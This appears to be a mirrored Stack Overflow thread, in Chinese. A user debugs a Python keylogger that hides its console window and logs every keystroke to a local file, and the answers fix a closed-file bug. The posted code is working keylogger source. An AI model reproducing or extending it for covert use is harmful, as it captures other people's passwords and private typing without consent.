【问题标题】:Python code error when making keylogger (educational purposes only)制作键盘记录器时出现 Python 代码错误(仅用于教育目的)
【发布时间】:2014-12-20 13:09:33
【问题描述】:

所以我正在尝试制作键盘记录器(仅用于教育目的),这里是我的代码

#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os


log_file = "d:\control.txt"                 #name of log file
window = win32console.GetConsoleWindow()  #go to script window
win32gui.ShowWindow(window,0)             #hide window

def pressed_chars(event):       #on key pressed function
    if event.Ascii:
        f = open(log_file,"a")  # (open log_file in append mode)
        char = chr(event.Ascii) # (insert real char in variable)
        if char == "q":         # (if char is q)
            f.close()           # (close and save log file)
        if event.Ascii == 13:   # (if char is "return")
            f.write("\n")       # (new line)
        f.write(char)           # (write char)



proc = pyHook.HookManager()      #open pyHook
proc.KeyDown = pressed_chars     #set pressed_chars function on KeyDown event
proc.HookKeyboard()              #start the function
pythoncom.PumpMessages()    

运行代码后,我遇到了一些类似这样的错误

Traceback (most recent call last):
  File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "C:\Python278\logger.pyw", line 22, in pressed_chars
    f.write(char)           # (write char)
ValueError: I/O operation on closed file

我做到了,每当我按下字符“Q”时,程序就会结束记录击键。但是,如果我在第 19-20 行之间输入以下代码:“exit()”,程序可以正常工作,但在执行其他任何操作之前就退出了。我一直在尝试自己解决它,但我似乎无法让它按照我想要的方式工作。有任何想法吗?顺便使用 Python 2.7.8。

【问题讨论】:

  • if char=="q": f.close() [SNIP] f.write(char)。你发现问题了吗?
  • 如果日志文件关闭,我猜它不能写字符,对吧?
  • 宾果游戏。要么在关闭文件之前写入字符,要么根本不写入。

标签: python python-2.7 keylogger


【解决方案1】:

如果字符是“q”,则关闭文件。 'if char == "q": # (如果 char 是 q)'

试着做一个 if .. elif .. else.

顺便说一句,我更喜欢 open()(查看更多:for line in open(filename)

【讨论】:

  • 刚刚看到@Rawing 说了同样的话。由于我是 Stackoverflow 的新手,回答问题的“正确”方式是什么?
  • 发布答案当然是比评论更好的回答问题的方式。与评论不同,可以接受答案,因此将问题标记为已回答。你赢了这一轮:)
  • 好的.. :) 我只想遵循标准。我有点喜欢你“提出正确问题”的方式,所以我怀疑。 :)
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2012-09-10
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2022-11-18
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多